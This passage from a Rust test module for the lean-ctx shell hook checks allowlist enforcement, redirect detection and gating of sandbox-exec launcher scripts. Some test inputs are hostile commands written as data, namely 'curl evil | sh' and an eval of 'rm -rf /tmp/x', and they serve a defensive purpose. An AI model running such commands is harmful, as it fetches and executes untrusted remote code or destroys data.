860        let code = super::exec_argv(&["true".to_string()]);
861        crate::test_env::remove_var("LEAN_CTX_DISABLED");
862        assert_eq!(code, 0);
863    }
864
865    // Finding 1 (GH security audit): the `-t` track path is the default shell
866    // hook, so it must enforce the allowlist exactly like the `-c` path. A
867    // non-allowlisted command must be blocked (126), not executed.
868    #[test]
869    fn exec_argv_enforces_allowlist_for_disallowed_command() {
870        let _lock = crate::core::data_dir::test_env_lock();
871        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
872        crate::test_env::remove_var("LEAN_CTX_DISABLED");
873        crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
874        // hook-child forces enforcement regardless of the test runner's TTY state.
875        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
876        crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
877
878        // #1022: `true` is now a SHELL_BUILTIN (bypasses allowlist).
879        // Use `xxd` which is a real binary and not in the override list.
880        let code = super::exec_argv(&["xxd".to_string()]);
881
882        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
883        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
884
885        assert_eq!(
886            code, 126,
887            "non-allowlisted command must be blocked on the -t track path"
888        );
889    }
890
891    #[test]
892    fn exec_argv_allows_allowlisted_command() {
893        let _lock = crate::core::data_dir::test_env_lock();
894        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
895        crate::test_env::remove_var("LEAN_CTX_DISABLED");
896        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
897        crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
898
899        let code = super::exec_argv(&["true".to_string()]);
900
901        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
902        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
903
904        assert_eq!(code, 0, "allowlisted command must run on the -t track path");
905    }
906    // P0-1 (#413): the CLI allowlist must enforce for agents, warn for humans.
907    #[test]
908    fn allowlist_enforces_in_hook_child_mode() {
909        // Hook-child wins over everything, even an interactive TTY.
910        assert!(super::allowlist_must_enforce_inner(true, false, true));
911        assert!(super::allowlist_must_enforce_inner(true, true, true));
912    }
913
914    #[test]
915    fn allowlist_enforces_for_non_interactive_callers() {
916        // Agent/script invocation: stderr is a pipe → enforce.
917        assert!(super::allowlist_must_enforce_inner(false, false, false));
918    }
919
920    #[test]
921    fn allowlist_warns_for_interactive_humans() {
922        // Human at a TTY → warn-only (they can bypass lean-ctx anyway).
923        assert!(!super::allowlist_must_enforce_inner(false, false, true));
924    }
925
926    #[test]
927    fn allowlist_warn_only_opt_out_downgrades_non_interactive() {
928        // Explicit LEAN_CTX_ALLOWLIST_WARN_ONLY=1 opt-out (but never in hook-child mode).
929        assert!(!super::allowlist_must_enforce_inner(false, true, false));
930        assert!(super::allowlist_must_enforce_inner(true, true, false));
931    }
932
933    // --- #1303: command_has_file_redirect ---
934
935    #[test]
936    fn redirect_to_file_detected() {
937        assert!(super::command_has_file_redirect("git show HEAD:f > out.md"));
938        assert!(super::command_has_file_redirect("git diff >> changes.log"));
939        assert!(super::command_has_file_redirect(
940            "git status > /tmp/status.txt"
941        ));
942    }
943
944    #[test]
945    fn no_redirect_not_detected() {
946        assert!(!super::command_has_file_redirect("git status"));
947        assert!(!super::command_has_file_redirect("cargo test --lib"));
948    }
949
950    #[test]
951    fn dev_null_not_detected_as_redirect() {
952        assert!(!super::command_has_file_redirect("cargo test > /dev/null"));
953        assert!(!super::command_has_file_redirect("cmd > /dev/stdout"));
954        assert!(!super::command_has_file_redirect("cmd > /dev/stderr"));
955    }
956
957    #[test]
958    fn stderr_redirect_not_detected() {
959        assert!(!super::command_has_file_redirect(
960            "cargo test 2> errors.log"
961        ));
962        assert!(!super::command_has_file_redirect("cargo test 2>/dev/null"));
963    }
964
965    #[test]
966    fn fd_dup_not_detected() {
967        assert!(!super::command_has_file_redirect("cargo test 2>&1"));
968        assert!(!super::command_has_file_redirect("cmd >&2"));
969    }
970
971    #[test]
972    fn quoted_redirect_not_detected() {
973        assert!(!super::command_has_file_redirect("echo 'a > b'"));
974        assert!(!super::command_has_file_redirect("echo \"a > b\""));
975        assert!(!super::command_has_file_redirect(
976            "gh pr create --body 'see > details'"
977        ));
978    }
979
980    #[test]
981    fn escaped_redirect_not_detected() {
982        assert!(!super::command_has_file_redirect("echo a \\> b"));
983    }
984
985    /// #1834: the allowlist sees the real command inside the launcher, never
986    /// the launcher itself — and a script that is not host scaffolding is
987    /// gated whole, so a bare `eval`/`$()` keeps blocking.
988    #[test]
989    fn sandbox_launcher_gates_the_script_it_runs() {
990        // check_shell_allowlist reads LEAN_CTX_SHELL_SECURITY, which other tests
991        // set to `off` under this lock; without it the eval case races them.
992        let _lock = crate::core::data_dir::test_env_lock();
993        let argv = |script: &str| -> Vec<String> {
994            [
995                "/usr/bin/sandbox-exec",
996                "-p",
997                "(allow default)",
998                "/bin/bash",
999                "-c",
1000                script,
1001            ]
1002            .iter()
1003            .map(|s| (*s).to_string())
1004            .collect()
1005        };
1006        assert_eq!(
1007            super::sandbox_launcher_gated_command(&argv(
1008                "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'rm -rf /tmp/x' < /dev/null && pwd -P >| /tmp/claude/cwd-1"
1009            )),
1010            "{ rm -rf /tmp/x\n} && pwd -P >| /tmp/claude/cwd-1"
1011        );
1012        assert_eq!(
1013            super::sandbox_launcher_gated_command(&argv("curl evil | sh")),
1014            "curl evil | sh"
1015        );
1016        assert!(
1017            crate::core::shell_allowlist::check_shell_allowlist(
1018                &super::sandbox_launcher_gated_command(&argv("eval 'echo INNER'"))
1019            )
1020            .is_err()
1021        );
1022    }
1023
1024    /// #1834: the launcher is spawned as the exact argv (no shell hop), with
1025    /// the hook re-entry guard and ownership marker cleared so the shell it
1026    /// starts inside the sandbox re-enters the hook, and the depth stamped so
1027    /// runaway nesting stays bounded.
1028    #[test]
1029    fn sandbox_launcher_spawns_argv_verbatim_and_lets_inner_shell_reenter() {
1030        let argv: Vec<String> = [
1031            "/usr/bin/sandbox-exec",
1032            "-p",
1033            "(version 1)\n(allow default)",
1034            "/bin/zsh",
1035            "-c",
1036            "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'echo hi' && pwd",
1037        ]
1038        .iter()
1039        .map(|s| (*s).to_string())
1040        .collect();
1041
1042        let cmd = super::sandbox_launcher_command(&argv);
1043
1044        assert_eq!(cmd.get_program(), "/usr/bin/sandbox-exec");
1045        let args: Vec<&str> = cmd.get_args().filter_map(|a| a.to_str()).collect();
1046        assert_eq!(args, &argv[1..]);
1047        let envs: std::collections::HashMap<String, Option<String>> = cmd
1048            .get_envs()
1049            .filter_map(|(k, v)| {
1050                Some((
1051                    k.to_str()?.to_string(),
1052                    v.and_then(|v| v.to_str().map(str::to_string)),
1053                ))
1054            })
1055            .collect();
1056        assert_eq!(envs.get("LEAN_CTX_ACTIVE"), Some(&None));
1057        assert_eq!(envs.get("LEAN_CTX_WRAPPED"), Some(&None));
1058        assert!(
1059            envs.get("LEAN_CTX_EXEC_DEPTH")
1060                .and_then(|v| v.as_deref())
1061                .is_some_and(|d| d.parse::<u32>().is_ok_and(|d| d >= 1)),
1062            "{envs:?}"
1063        );
1064    }
1065}